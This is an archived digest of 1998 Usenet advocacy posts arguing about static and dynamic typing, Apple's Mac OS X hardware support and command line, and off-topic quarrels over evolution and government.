>can not verify that the message/call is correct and compatible. Not even
>at runtime can it be verified that you actually call a compatible method
>or even that the method you expect actually exists.
This is backwards. Dynamic languages have full information available
at runtime, statically checked language typically do not. I *can*
ask any Objective-C or ST object wether it responds to a particular
method, whereas once I've casted a C++ object, I am out of luck.
(I am not aware of the situation with RTTI in C++)
>This lack of type-safety can be perceived as an advantage because you
>can do weird (but potentially usefull) things and the compiler wont
>complain. It can't complain because it is unable to detect the problem.
>Just as weird C-style type-casts or type-free assembler can be perceived
>as freedom in some cases.
This is a common misconception: dynamic languages can be fully
type-safe if protocols are used; current statically type-checked
languages are too restrictive by basing their typing on class-
membership / inheritance, whereas interface conformance would
be fully sufficient.
This restriction provably cripples the expresiveness of those
languages, for example disallowing certain types of framework
constructions. (I can dig up the reference if you want)
It also makes open-implemenation systems, distributed objects,
cross-language bridges and higher order programming much more
difficult than necessary.
Furthermore, the Eiffel type system is not actually type-safe,
and C++ allows and often necessitates casts that can produce
much more pernicious problems than untyped objects in dynmaic
language, because instead of receiving a clear run-time error
message, you will get at best a non-descript crash, more likely
random unspecified behaviour.
By the way, Bertrand Meyer's reaction to the unsafe aspects of
Eiffel's type-system was something along the lines of "that
rarely happens in practice".
Gee.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
Date: Thu, 09 Jul 1998 10:01:34 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-0907981001340001@jchristie.halifaxcable.dal.ca>
References: <see-below-2706980601240001@dynamic5.pm04.mv.best.com> <B1BA74A7-1BBBC@206.165.43.101> <see-below-2706981947260001@dynamic22.pm01.mv.best.com> <3595DD89.55EAD2AD@nstar.net> <slrn6pij50.rei.sal@panix3.panix.com> <35996BC8.2869@exu.ericsson.se> <slrn6pj7r8.4ij.sal@panix3.panix.com> <3599AE58.5E54D75E@nstar.net> <slrn6pnb5s.agd.sal@panix3.panix.com> <359BB6E5.C244275F@exu.ericsson.se> <slrn6pnqnc.dci.sal@panix3.panix.com>
> On Thu, 02 Jul 1998 11:35:50 -0500, Michael Peck
<eusmpec@exu.ericsson.se> wrote:
> >you've theorized, this is the market that could use an iMac, anyway.
> >Well, I can undersell the iMac, and so can anybody who recognizes the
> >virtues of upgradeability.
>
I could undersell the iMac as well. I've got a Commodore 64 in a
garage out there somewhere.
It is foolish to say you can undersell the iMac with a PC upgrade
because no matter what you do it still won't be a stylish compact machine
with a G3 CPU, MacOS, and very low power consumption.
I've got a great little HP calculator that can do lots of things a Palm
Pilot can't and it's better because it has RPN!
Oh, and you think a PC is cheap! I can get these great little
programming units with 68000 series CPUs. There is absolutely no GUI so
they just scream at doing things that "really" matter like math or
"Hurkle". And, I can have them for $100. They last for ages on a set of
batteries and the OS is simple but reliable assembler. Now, that is power
for your money, none of the silly OS getting in the way.
Now, bark like Tim Taylor.
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
From: ferguson@blueNOSPAMmarble.net (Jim Ferguson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 09 Jul 1998 07:59:24 -0500
Organization: BlueMarble Information Services
Message-ID: <ferguson-0907980759240001@tc0-12.bluemarble.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com>
In article <6o0nr6$7kh$1@nnrp1.dejanews.com>, aa158@valleynet.on.ca wrote:
> From the July 8 Macintouch:
>
> " Jobs also noted the following...
>
> 750,000 G3 systems, including tens of thousands of PowerBook G3's, have been
> sold."
>
>
> Comment: This would seem to be a strong incentive for Apple to get OS X
> running on machines other than just the G3 models.
>
This URL
<http://www.events.broadcast.com/events/macworld98/ram/macworld070898_3.ram>
takes you to the Macworld site of a Real Audio file of
Executive Briefing: Apple, Today and Tomorrow
Avadis "Avie" Tevanian, Jr., Ph.D. (Senior Vice President of Software
Engineering; Apple Computer) Jon Rubenstein (Senior Vice President of
Hardware Engineering; Apple Computer) -interviewed by Andrew Gore (Editor
in Chief, Macworld)
Advance to about this topic is discussed several times with an explanation
as to why MacOSX will only run on G3 PowerMacs.
Best wishes,
Jim Ferguson
To respond via e-mail remove the appropriate part of my ISP's name.
From: adhamh@apple.com (adhamh)
Newsgroups: comp.sys.next.advocacy
Subject: converting fonts from OpenStep to Mac
Date: Thu, 09 Jul 1998 08:38:42 -0500
Organization: apple
Message-ID: <adhamh-ya02408000R0907980838420001@news.apple.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
I've been doing some digging trying to determine if it is possible to
convert OpenStep fonts to the Mac. I know that OpenStep using postscript
fonts, but does anyone know how to get them to work on a Mac. I have tried
a few programs like Fontographer, but it will not recognize an OpenStep
font (screen or printer).
Does anyone know how to go from Mac to OpenStep, OpenStep to Mac?
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Free (Microsoft Delays Win NT)
Date: 9 Jul 1998 13:50:01 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6o2hq9$kkn@newsb.netnews.att.com>
References: <359A90F9.A546707D@alum.mit.edu> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.co <35A43B75.726FC058@nstar.net>
Originator: gupta@tlctest
Michael Peck <mjpeck@nstar.net> wrote:
>
>No, being rational is drawing not incorrect conclusions from the
>available data during the decision-making process. The fact that your
>ability to collect evidence is finitely bounded, grossly incomplete, and
>generally faulty in the first place makes "rational" decision-making on
>human evidence correct usually only by accident.
In any case, I'd rather be making decisions based on the incomplete and
faulty evidence that I can gather, than taking somebody's word for it
that God told him so. And if God did make the world 6000 years ago,
or God created each of the individual species or God made it impossible
for there to be genetic drift, (i.e., evolution) without divine intervention,
then, God willing, we will find that evidence. Surely your revealed truth
does not rule out the existence of such evidence, or does it ?
-arun gupta
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Loose end
Date: 9 Jul 1998 13:56:06 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6o2i5m$km7@newsb.netnews.att.com>
References: <6o1676$hfk@newsb.netnews.att.com> <35A43A82.D4027971@nstar.net>
Originator: gupta@tlctest
Michael Peck <mjpeck@nstar.net> wrote:
>gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
>>
>> Regarding the distribution of wealth in the US, circa 1992 :
>> http://research.mpls.frb.fed.us/research/qr/qr2121.pdf
>>
>> lowest fifth : 0.39% of the total
>> second fifth : 1.74%
>> third fifth : 5.72%
>> fourth fifth : 13.43%
>> top fifth : 79.49%
>>
>> The above reference also discusses income and earnings distributions.
>
>"Both the top 20 percent who are often called 'the rich' and the bottom
>20 percent who are called 'the poor' represent a constantly changing set
> [deleted]
Don't know what your point is, I was merely pointing out to those
that deny it, that there is great disparity in the distribution of
wealth. BTW, the disparity is growing, so if you approve of the disparity,
things must be getting better. One wonders why you complain so much.
-arun gupta
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Free (Microsoft Delays Win NT)
Date: 9 Jul 1998 13:59:45 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6o2ich$kmt@newsb.netnews.att.com>
References: <359A90F9.A546707D@alum.mit.edu> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.co <35A43B75.726FC058@nstar.net>
Originator: gupta@tlctest
Michael Peck <mjpeck@nstar.net> wrote:
>No, being rational is drawing not incorrect conclusions from the
>available data during the decision-making process. The fact that your
>ability to collect evidence is finitely bounded, grossly incomplete, and
>generally faulty in the first place makes "rational" decision-making on
>human evidence correct usually only by accident.
By what means did you come by your conclusions that there must be a Creator,
that said Creator continuously intervenes in the universe, that
evolution is wrong, that carbon dating is wrong, etc. ?
-arun gupta
From: embuck@palmer.cca.rockwell.com (Erik M. Buck)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 9 Jul 1998 14:34:48 GMT
Organization: Rockwell International
Message-ID: <6o2ke8$vvr2@onews.collins.rockwell.com>
References: <6n6a2e$21s$1@news.cmc.net> <markeaton-0307982233040001@user-38ld65c.dialup.mindspring.com>
<6noi5p$2qg$1@news.cmc.net> <1dbual6.1dg6va4fd3yjwN@carina22.wco.com>
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Cc: mpaque@wco.com
In <1dbual6.1dg6va4fd3yjwN@carina22.wco.com> Mike Paquette wrote:
> Leon von Stauber <devnull@occam.com> wrote:
>
>
> Well, it's the official and unequivocal statement of what some folks in
> Product Marketing and Developer Relations believes is needed/wanted in
> the Mac OS X product. Then again, Apple has been known to respond to
> customer demand in the recent past (see Wednesday's MacWorld keynote).
>
Potential new customers are unlikely to respond to a feed back request.
> If having a terminal UI/command line interface in the base system or
> optionally installable from the user system CD is important to your
> plans, I suggest that you send feedback to Apple. For business or
> eduational use, you might want to indicate the number of seats and users
> impacted by this.
>
The complete standard set of UNIX utils and a well chosen set of GNU utils as
well as standard shells are essential to acceptance of MacOS-X where I work.
All remote administration, backup, etc. are performed by remote logins. IT
professionals do not want to have to leave their desk and walk 1 mile (that
is how large our facility is) to a console in order to change autonfsmount
settings when a new server is added to a network. These IT professionals are
unlikely to learn a GUI tool for these functions. These IT professionals are
not going to even try to run NetInfo on the existing Sun, HP, and DEC
servers. These IT professionals are not going to worry about optional
installs or typing make and waiting an hour. They are capable of doing these
things, they just won't. Instead, they will either a) forbid purchase of
these incompatible systems or b) give control of those systems to the Windows
support organization which in turn will neglect and malign them out of
ignorance.
> In the unlikely event that a terminal UI program such as Terminal.app is
> not available, I'll bet a third party replacement (maybe even shareware
> or freeware) would be available immediately. Note that Terminal.app is
> derived from Scott Hess's Stuart.app.
>
> (Scott, if Mac OS X doesn't have a terminal/shell UI available, I'll
> drop by one weekend and help port Stuart if you like.)
>
Without ubiquitous availability of standard UNIX utils and shells, they
effectively can not be used over a network and that is the only environment
it which they would be used. Refer to previous discussions of Opener.app or
OpenSeaseme.app or RBrowser.app or Terminal Services. All of these require
standard UNIX utils and shells and can not be expected to package the entire
environment with the app. These features MUST be available everywhere.
Where does this resistance to UNIX shells come from ? All of those GUI ftp
programs use ftp command lines below the surface and no one complains.
> 'Porting' any missing BSD 4.4 commands is mostly a matter of typing
> 'make' and waiting an hour. Making the Installer package and
> installation notes will take longer. I bet I can find a set that's
> 100% compatable with Rhapsody 1.0.
>
But as it has been said, it the tools are not ubiquitously available, then a
whole class of applications becomes impractical, remote administration
becomes a practical impossibility for existing UNIX IT departments, and a
whole class of potential customers is alienated.
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Free (Microsoft Delays Win NT)
Date: Thu, 09 Jul 1998 15:03:30 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35A4DBC2.A14883F9@nstar.net>
References: <359A90F9.A546707D@alum.mit.edu> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.co <35A43B75.726FC058@nstar.net> <6o2hq9$kkn@newsb.netnews.att.com>
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gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
>
> Michael Peck <mjpeck@nstar.net> wrote:
> >
> >No, being rational is drawing not incorrect conclusions from the
> >available data during the decision-making process. The fact that your
> >ability to collect evidence is finitely bounded, grossly incomplete, and
> >generally faulty in the first place makes "rational" decision-making on
> >human evidence correct usually only by accident.
>
> In any case, I'd rather be making decisions based on the incomplete and
> faulty evidence that I can gather, than taking somebody's word for it
> that God told him so. And if God did make the world 6000 years ago,
> or God created each of the individual species or God made it impossible
> for there to be genetic drift, (i.e., evolution)
"Genetic drift (i.e., evolution)" demonstrates a pretty severe lack of
familiarity with the subject. Genetic drift may actually be observed, as
may natural selection. Genetic drift refers to the fact that the "gene
pool" has a dynamic nature, and that in populations with very low member
counts, the normal stabilizing effects of the gene pool in a large
population may not operate correctly. The result is a predominance of
certain genetic traits simply because of statistical instabilities.
> without divine intervention,
> then, God willing, we will find that evidence. Surely your revealed truth
> does not rule out the existence of such evidence, or does it ?
Certainly not; that's why I mentioned that both genetic drift and
natural selection are well-observed and well-studied phenomena in
biological studies. In fact, Charles Darwin himself didn't theorize a
great deal beyond those two subjects. The full-blown leap of faith
inherent in evolution is demonstrated later, with zero evidence.
MJP
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Loose end
Date: Thu, 09 Jul 1998 15:14:31 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35A4DE57.C0F643C2@nstar.net>
References: <6o1676$hfk@newsb.netnews.att.com> <35A43A82.D4027971@nstar.net> <6o2i5m$km7@newsb.netnews.att.com>
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NNTP-Posting-Date: 9 Jul 1998 15:19:48 GMT
gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
> >"Both the top 20 percent who are often called 'the rich' and the bottom
> >20 percent who are called 'the poor' represent a constantly changing set
> > [deleted]
>
> Don't know what your point is, I was merely pointing out to those
> that deny it, that there is great disparity in the distribution of
> wealth.
Yeah. I just wanted to point out that disparity in the distribution of
wealth is a normal, and even desirable, state of affairs. I sure want my
about-to-retire parents to have more money than I do, since their income
will soon be dropping to zero. I suppose some people might feel
differently because it's convenient to make proclamations based on 'the
rich', but I suspect that most people don't fall into this category.
> BTW, the disparity is growing
You didn't post those statistics.
> so if you approve of the disparity,
> things must be getting better
Well, I approve of sodium intake; however, just because my sodium intake
increases doesn't necessarily mean "things must be getting better", not
unless one is a linear thinker (I'll let you decide).
> One wonders why you complain so much.
Complain? No, if I were to complain, it would be to someone who could
fix the problem. To you, I'm just advocating liberty.
MJP
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 9 Jul 1998 13:53:07 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6o2i03$kle@newsb.netnews.att.com>
References: <359A90F9.A546707D@alum.mit.edu> <slrn6q8nob.399.sal@panix3.panix.com> <slrn6q8o8s.399.sal@panix3.panix.com> <6o2b24$tca$1@camel21.mindspring.com>
Originator: gupta@tlctest
Matthew Cromer <matthew_cromer@iname.com> wrote:
>"Government is not reason. It is not eloquence. It is force. Like fire,
>it is a dangerous servant and a fearful master."
>
>G Washington
So, just like you want to abolish government, do you want to abolish
fire as well ?
-arun gupta
From: Kristofer Jon Magnusson <kris@xmission.xmission.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 9 Jul 1998 16:41:38 GMT
Organization: XMission (801 539 0852)
Message-ID: <6o2rs2$7o9$1@news.xmission.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <Pine.SOL.3.96.980708164746.10070A-100000@ux10.cso.uiuc.edu> <jbodner-0807982146560001@ppp-207-214-148-66.snrf01.pacbell.net>
NNTP-Posting-Date: 9 Jul 1998 16:41:38 GMT
User-Agent: tin/pre-1.4-980618 (UNIX) (SunOS/5.5.1 (sun4m))
In comp.sys.next.advocacy Jon Bodner <jbodner@pacbell.net> wrote:
> If you want/need OS X and need the fastest/cheapest Mac (sure you can buy
> a 9600 and pop in a 300MHz G3 card), buy a G3 Mac now. If you can't or
> won't fork over the cash right now, wait the 16-18 months and get the
> latest and coolest machine then. You'll do better (either cheaper at
> today's performance or much faster at today's price), anyway.
Actually, if you want the fastest/cheapest Mac, buy a 266 MHz Pentium
II-powered PC and load MacOS X Server.
=)
.............kris
--
Kristofer Jon Magnusson <kris@xmission.com>
"NASA and its partners have identified vacuum
as a major attribute of space."
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 9 Jul 1998 16:16:50 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6o2qdi$lkg@newsb.netnews.att.com>
References: <359A90F9.A546707D@alum.mit.edu> <6o2b24$tca$1@camel21.mindspring.com> <6o2i03$kle@newsb.netnews.att.com> <35A4DC62.536B8581@nstar.net>
Originator: gupta@tlctest
Michael J. Peck <mjpeck@nstar.net> wrote:
>
>Ah, the dangers of metaphor among simpletons. Arun, if I say that my
>motorcycle "screams", does that mean that it makes banshee wailing as it
>travels down the street?
Depends on if you are using a colloquialism or not, and so depends on
which part of the world you come from. "Screams" == banshee wailing
in many English speaking populations.
>If I say that your posts are a "pain in the
>neck", does that mean that I am printing them out, crumpling them up,
>and forcing them between my nape and collar?
Going by my observation of people who post on the USENET, and
using inductive reasoning from the small sample to the whole population,
the answer to your question would be "NO",
but as you said, given Man's incomplete information, limited capacity to
gather evidence, limited powers of observation and reasoning, this
conclusion would be correct only by accident. So I'm waiting for the
revealed truth. Since you brought up the issue, if you are interested
in us knowing the answer, you will have to tell us.
And the original question still stands -- if fire and government are both
dangerous, and government is therefore to be abolished, what about fire ?
-arun gupta
From: beecee@erols.com (B. C. McKinney)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 09 Jul 1998 12:52:27 -0400
Organization: Erol's Internet Services
Message-ID: <beecee-ya02408000R0907981252270001@news.erols.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6o14ca$b2i$1@news12.ispnews.com>
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In article <6o14ca$b2i$1@news12.ispnews.com>, "Zico"
<ZicoKnows@hotmail.com> wrote:
> Yeah, but you're thinking like a customer, not a business. The
> business thinking (whether right or wrong) is, "Q: How do we
> sell more than 'only 750,000' G3 computers? A: Make people
> using older ones have to buy a new one to use the new OS
> that we'll be hyping heavily." Since Apple makes a lot more
> money selling the hardware than OS upgrades, the economics
> say that they have more to gain by getting those older users
> to buy a G3 than they stand to lose by not making 50 bucks
> on each OS X upgrade sale to non-G3 Mac users.
Ah, but they're failing to consider that some older customers, including me
(14 years, during which purchased 7 Macs for me at home and work, more for
other employees), are getting tired of this shit. Apple loses even more
when I buy a Sony Vaio laptop. Don't tell me about the superiority of Mac
OS-- when Apple thinks like a business like Microsoft, the advantages
become a lot less compelling.
I suggest that everyone who owns a PCI Power Mac or compatible make their
opinions known to Apple now. They claim to be "listening to the customer."
BC
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Thu, 09 Jul 1998 12:14:08 -0500
Organization: Ericsson North America Inc.
Message-ID: <35A4FA60.FF826332@ericsson.com>
References: <359A90F9.A546707D@alum.mit.edu> <6o2b24$tca$1@camel21.mindspring.com> <6o2i03$kle@newsb.netnews.att.com> <35A4DC62.536B8581@nstar.net> <6o2qdi$lkg@newsb.netnews.att.com>
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gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
>
> Michael J. Peck <mjpeck@nstar.net> wrote:
> Depends on if you are using a colloquialism or not, and so depends on
> which part of the world you come from. "Screams" == banshee wailing
> in many English speaking populations.
Actually, it depends on whether I am using simile, as G Washington was.
> Going by my observation of people who post on the USENET, and
> using inductive reasoning from the small sample to the whole population,
> the answer to your question would be "NO",
Then that is your conclusion.
> but as you said, given Man's incomplete information, limited capacity to
> gather evidence, limited powers of observation and reasoning, this
> conclusion would be correct only by accident.
In this case, perhaps, perhaps not. I won't presume to speak for you.
> So I'm waiting for the
> revealed truth.
Not waiting for me, I hope!
> Since you brought up the issue, if you are interested
> in us knowing the answer, you will have to tell us.
Unfortunately, G Washington is dead, so we cannot study or question him
as to what language he was speaking (perhaps it just *looks* like
English) or, if indeed he was speaking English, what was his exact
meaning.
Being a presuppositionalist, I presuppose that Washington was, in fact,
speaking English and that he was using simile. Note that this conclusion
is reached inductively, not *deductively*. As a result, I conclude that
you are, in fact, misunderstanding our first president's meaning.
> And the original question still stands -- if fire and government are both
> dangerous, and government is therefore to be abolished, what about fire ?
To say that government is "like" fire does not presume that government
shares every quality of fire, but only that certain attributes of
government compare to certain attributes of fire; this is the basis of
simile in the English language (or so I presuppose).
In this case, government shares the dangerous aspects of fire, or so
claims Washington. The simile presented by G Washington does not say
anything about government sharing the useful attributes of fire (with
regard to cooking, warming a room, providing radiant light,
precipitating combustion reactions in certain substances of close
proximity, etc).
I presuppose that government is not, in fact, useful for those things (I
do not believe that government is helpful for cooking, for instance),
and thus I conclude that the abolition of government (were such a thing
possible) would be desirable where the abolition of fire (were such a
thing possible) would not.
MJP
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 9 Jul 1998 17:23:01 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6o2u9l$m5f@newsb.netnews.att.com>
References: <359A90F9.A546707D@alum.mit.edu> <35A4DC62.536B8581@nstar.net> <6o2qdi$lkg@newsb.netnews.att.com> <35A4FA60.FF826332@ericsson.com>
Originator: gupta@tlctest
Michael Peck <Michael.Peck@ericsson.com> wrote:
>
>> Since you brought up the issue, if you are interested
>> in us knowing the answer, you will have to tell us.
>
>Unfortunately, G Washington is dead, so we cannot study or question him
>as to what language he was speaking (perhaps it just *looks* like
>English) or, if indeed he was speaking English, what was his exact
>meaning.
> [snip]
No, I was asking about whether you do stuff paper down your collar.
What G. Washington said is clear enough.
-arun gupta
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
From: lars.farm@ite.mh.se (Lars Farm)
Message-ID: <1dbwpln.1hul373c7z78eN@dialup207-3-17.swipnet.se>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <3599148B.1B14@exu.ericsson.se> <6nakg1$r2h$15@ns3.vrx.net> <6o2e5p$q2u$1@news.cs.tu-berlin.de>
Organization: pv
Date: Thu, 09 Jul 1998 17:31:40 GMT
NNTP-Posting-Date: Thu, 09 Jul 1998 19:31:40 MET DST
Marcel Weiher <marcel@cs.tu-berlin.de> wrote:
> Close but not quite: static typing disallows calling an incompatibly
> *named* + *typed* function. The function may still be incompatible,
> and such errors are in many ways more difficult.
Yes of course: int add( int a, int b ) { return a - b; }
No programming language can prevent this kind of thing or more subtle
variants involving breaking the promise of the interface.
> This is backwards. Dynamic languages have full information available
> at runtime, statically checked language typically do not. I *can*
> ask any Objective-C or ST object wether it responds to a particular
> method, whereas once I've casted a C++ object, I am out of luck.
Static typing says that the checks are performed statically. At compile
time. Not at runtime. There is no need to do it again, so the data used
by the compiler can then be discarded. Why carry coded compiler data
around when decisions made on the data are already taken? The amount of
information available when the decisions are actually performed by the
compiler is larger for static typing. That is why static languages can
perform more agressive optimizations.
> (I am not aware of the situation with RTTI in C++)
RTTI is somewhat restricted, static compatibility still required, but
allows some runtime queries. Would probably not be considered sufficient
by someone used to dynamic languages;-)
> This restriction provably cripples the expresiveness of those
> languages, for example disallowing certain types of framework
> constructions. (I can dig up the reference if you want)
> It also makes open-implementaion systems, distributed objects,
> cross-language bridges and higher order programming much more
> difficult than necessary.
Yes. It's a trade off. These restrictions buy you safety and
maintainability. Moves error detection to the compiler rather than to
the end-user or the poor maintenance programmer that eventually stumbles
on it in the next revision some other year.
> Furthermore, the Eiffel type system is not actually type-safe,
> and C++ allows and often necessitates casts that can produce
Nah, casts in C++ is often an indication of a broken design(er).
Fighting the type system, rather than using it.
> much more pernicious problems than untyped objects in dynmaic
> language, because instead of receiving a clear run-time error
> message, you will get at best a non-descript crash, more likely
> random unspecified behaviour.
C++ is certainly not fully type safe. The "++" parts are very good, but
C is trouble. C is declaration syntax, #preprocessor, no module-system,
switch, pointer-array equivalence, implicit type conversions, no GC,...
Seems to me ObjC shares all those problems.
> By the way, Bertrand Meyer's reaction to the unsafe aspects of
> Eiffel's type-system was something along the lines of "that
> rarely happens in practice".
And his reaction to dynamic typing appears similar to mine. I prefer
that the compiler catches errors rather than my users.
Ah well, we (ok I) have left the original topic and wandered into
opinion-land so I guess its time to sign off.
take care
- Lars
--
Lars Farm; lars.farm@ite.mh.se - Limt/Channelmatic: lars.farm@limt.se
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 9 Jul 1998 17:35:56 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6o2v1s$m99@newsb.netnews.att.com>
References: <359A90F9.A546707D@alum.mit.edu> <35A4DC62.536B8581@nstar.net> <6o2qdi$lkg@newsb.netnews.att.com> <35A4FA60.FF826332@ericsson.com>
Originator: gupta@tlctest
Michael Peck <Michael.Peck@ericsson.com> wrote:
>I presuppose that government is not, in fact, useful for those things (I
>do not believe that government is helpful for cooking, for instance),
>and thus I conclude that the abolition of government (were such a thing
>possible) would be desirable where the abolition of fire (were such a
>thing possible) would not.
G. Washington said that like fire, government is a dangerous servant
-- one who serves -- i.e., government has its uses, like fire.
One cannot therefore conclude that abolition of government (were such
a thing possible) is desirable where abolition of fire (were such a
thing possible) would not.
-arun gupta
From: kindall@mail.manual.com (Jerry Kindall)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 09 Jul 1998 13:44:48 -0400
Organization: Manual Labor
Message-ID: <kindall-0907981344480001@nic-c41-094.mw.mediaone.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6o14ca$b2i$1@news12.ispnews.com> <beecee-ya02408000R0907981252270001@news.erols.com>
In article <beecee-ya02408000R0907981252270001@news.erols.com>,
beecee@erols.com (B. C. McKinney) wrote:
> In article <6o14ca$b2i$1@news12.ispnews.com>, "Zico"
> <ZicoKnows@hotmail.com> wrote:
>
> > Yeah, but you're thinking like a customer, not a business. The
> > business thinking (whether right or wrong) is, "Q: How do we
> > sell more than 'only 750,000' G3 computers? A: Make people
> > using older ones have to buy a new one to use the new OS
> > that we'll be hyping heavily." Since Apple makes a lot more
> > money selling the hardware than OS upgrades, the economics
> > say that they have more to gain by getting those older users
> > to buy a G3 than they stand to lose by not making 50 bucks
> > on each OS X upgrade sale to non-G3 Mac users.
>
> Ah, but they're failing to consider that some older customers, including me
> (14 years, during which purchased 7 Macs for me at home and work, more for
> other employees), are getting tired of this shit. Apple loses even more
> when I buy a Sony Vaio laptop. Don't tell me about the superiority of Mac
> OS-- when Apple thinks like a business like Microsoft, the advantages
> become a lot less compelling.
>
> I suggest that everyone who owns a PCI Power Mac or compatible make their
> opinions known to Apple now. They claim to be "listening to the customer."
I'm not so sure myself. This is the third year I've owned by Power Mac
7500. This is about a year longer than I have owned any previous Apple
machine with the exception of my Apple IIc, which served me for about
four. I have upgraded the daughtercard twice and plan to upgrade to G3
this winter for whatever speed I can get under $500. By the time Mac OS X
rears its head, I will have had my 7500 for _four_ years. Twice as long
as I've owned any previous Mac model and an even match for my IIc.
Apple is saying that Mac OS X may run on my machine but not be supported.
If that becomes a problem, I will not have any particular problem
springing for a new machine. They have earned my loyalty time and again
by allowing me to upgrade my current machine. I can only hope that my
next Mac will have as long a useful lifespan as my 7500.
--
Jerry Kindall mailto:kindall@mail.manual.com Technical Writing
Manual Labor http://www.manual.com Web Design, etc.
MWJ, the Weekly Journal for Serious Mac Users http://www.gcsf.com
From: kindall@mail.manual.com (Jerry Kindall)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 09 Jul 1998 13:47:28 -0400
Organization: Manual Labor
Message-ID: <kindall-0907981347280001@nic-c41-094.mw.mediaone.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <joe.ragosta-0907981128510001@wil114.dol.net>
In article <joe.ragosta-0907981128510001@wil114.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Unless you've learned something very recent, this statement is wrong. The
> last that I heard, Rhapsody was the last version for Intel x86. Mac OS X
> was specifically NOT going to run on x86.
Of course Mac OS X will run on Intel, now that Apple has announced that
the shipping product name for Rhapsody will be "Mac OS X Server." Of
course, the PC won't have a Blue Box or Carbon, but it will have "Mac OS
X."
--
Jerry Kindall mailto:kindall@mail.manual.com Technical Writing
Manual Labor http://www.manual.com Web Design, etc.
MWJ, the Weekly Journal for Serious Mac Users http://www.gcsf.com
From: atlauren@uci.edu (Andrew Laurence)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: Thu, 09 Jul 1998 10:50:27 -0700
Organization: UC Irvine
Message-ID: <atlauren-0907981050270001@jungleland.acs.uci.edu>
